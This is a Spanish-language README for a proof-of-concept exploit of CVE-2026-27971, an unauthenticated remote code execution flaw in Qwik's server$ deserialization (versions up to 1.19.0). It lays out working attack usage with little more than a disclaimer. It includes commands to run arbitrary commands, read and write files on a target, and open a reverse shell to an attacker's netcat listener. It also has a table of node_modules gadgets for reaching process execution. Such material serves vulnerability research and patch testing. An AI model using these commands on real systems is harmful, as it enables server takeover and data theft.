
CVE-2026-27971 qwik rce
server$[!WARNING] Este repositorio contiene una prueba de concepto activa de ejecución remota de código. Úsala únicamente contra sistemas que poseas o para los que tengas autorización explícita de prueba. El autor no asume responsabilidad alguna por usos no autorizados o daños.
Una prueba de concepto independiente en Python para CVE-2026-27971 / GHSA-p9x5-jp3h-96mm, una vulnerabilidad de ejecución remota de código no autenticada en el mecanismo de deserialización RPC server$ de Qwik.
El PoC puede realizar una sonda activa de marcador, ejecutar comandos, leer o escribir archivos de texto y solicitar una reverse shell en objetivos Linux o Windows. Utiliza únicamente la biblioteca estándar de Python.
| Campo | Valor |
|---|---|
| Producto | Qwik — paquete npm @builder.io/qwik |
| Versiones afectadas | <= 1.19.0 |
| Versión parcheada | 1.19.1 |
| Vulnerabilidad | Ejecución remota de código no autenticada mediante deserialización insegura de server$ |
| Condición de ejecución | require() debe estar disponible en tiempo de ejecución |
| CWE | CWE-502 — Deserialización de datos no confiables |
| Gravedad | Crítica — CVSS 4.0: 9.2 |
| Vector | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Una solicitud application/qwik-json especialmente manipulada puede hacer referencia a un módulo del lado del servidor y a un símbolo exportado. Las versiones vulnerables de Qwik pueden resolver un QRL no registrado mediante require() en tiempo de ejecución e invocarlo sin autenticación. Este PoC intenta alcanzar una exportación de ejecución de procesos compatible ya presente en los node_modules del objetivo.
Operador:
server$/Qwik JSON.Objetivo:
@builder.io/qwik <= 1.19.0.require() esté disponible.node_modules.node disponible en el PATH del proceso del servicio.No se requieren paquetes Python de terceros.
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help
Enumera los gadgets integrados sin enviar una solicitud:
python3 exploit_combat.py --list-gadgets
Ejecuta una sonda activa de marcador y prueba todos los gadgets integrados:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe
[!IMPORTANT]
--probeno es una detección pasiva de versiones. Intenta ejecutar código remoto y lo confirma imprimiendo un marcador desde el proceso del objetivo.
Ejecutar un comando:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"
Leer un archivo de texto UTF-8:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json
Escribir y verificar un archivo de texto UTF-8:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"
Solicitar una reverse shell después de iniciar un listener persistente:
nc -lvnp 4444
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback
Forzar el payload de reverse shell para Windows cuando la detección automática del sistema operativo no sea adecuada:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444
El script no inicia un listener. La verificación previa de --callback abre y cierra una conexión TCP separada antes de enviar el payload de shell, por lo que debes usar un listener que pueda aceptar más de una conexión.
| Opción | Descripción |
|---|---|
-t URL, --target URL | URL objetivo exacta. Predeterminado: http://localhost:3000. La ruta no se descubre automáticamente. |
--probe | Ejecuta activamente un payload de marcador e intenta detectar el sistema operativo. |
-c CMD, --CMD CMD | Ejecuta un comando mediante child_process.execSync() de Node.js. |
--read PATH | Lee un archivo de texto UTF-8 usando fs.readFileSync(). |
--write PATH --content TEXT | Escribe un archivo de texto, lo vuelve a leer y compara el resultado. No se crean directorios padre. |
--list-gadgets | Imprime los nombres de los gadgets integrados y sale sin realizar una solicitud de red. |
--lhost IP | Habilita el modo reverse shell y establece la dirección de callback. |
--lport PORT | Establece el puerto de callback. Predeterminado: 4444. |
--rev-all | Envía todas las variantes de reverse shell en lugar de detenerse después de la primera solicitud HTTP aceptada. |
--callback | Comprueba la accesibilidad TCP saliente antes de enviar un payload de reverse shell. |
--OS {auto,linux,windows} | Selecciona la familia de payloads de reverse shell. Predeterminado: auto. |
--gadget SPEC | Usa auto, un nombre integrado o un <module>#<symbol> personalizado. Predeterminado: cross-spawn.sync. |
--arg-style {argv,command,shell} | Estilo de argumentos para un gadget <module>#<symbol> personalizado. |
--timeout SECONDS | Tiempo de espera HTTP del cliente. Predeterminado: 30. |
--verify-ssl | Habilita la verificación del certificado TLS y del nombre de host. La verificación está deshabilitada por defecto. |
Los modos de acción no son mutuamente excluyentes en el analizador. Usa uno de --probe, --CMD, --read, --write o --lhost por invocación.
| Nombre | Módulo y exportación | Estilo |
|---|---|---|
cross-spawn.sync | ./node_modules/cross-spawn/index#sync | argv |
cross-spawn.index-js | ./node_modules/cross-spawn/index.js#sync | argv |
execa.sync | ./node_modules/execa/index#sync | argv |
execa.index-js.sync | ./node_modules/execa/index.js#sync | argv |
execa.commandSync | ./node_modules/execa/index#commandSync | command |
execa.index-js.commandSync | ./node_modules/execa/index.js#commandSync | command |
node-cmd.runSync | ./node_modules/node-cmd/cmd#runSync | shell |
node-cmd.cmd-js.runSync | ./node_modules/node-cmd/cmd.js#runSync | shell |
--gadget auto prueba estos gadgets en el orden indicado. Se puede proporcionar un gadget personalizado de la siguiente manera:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe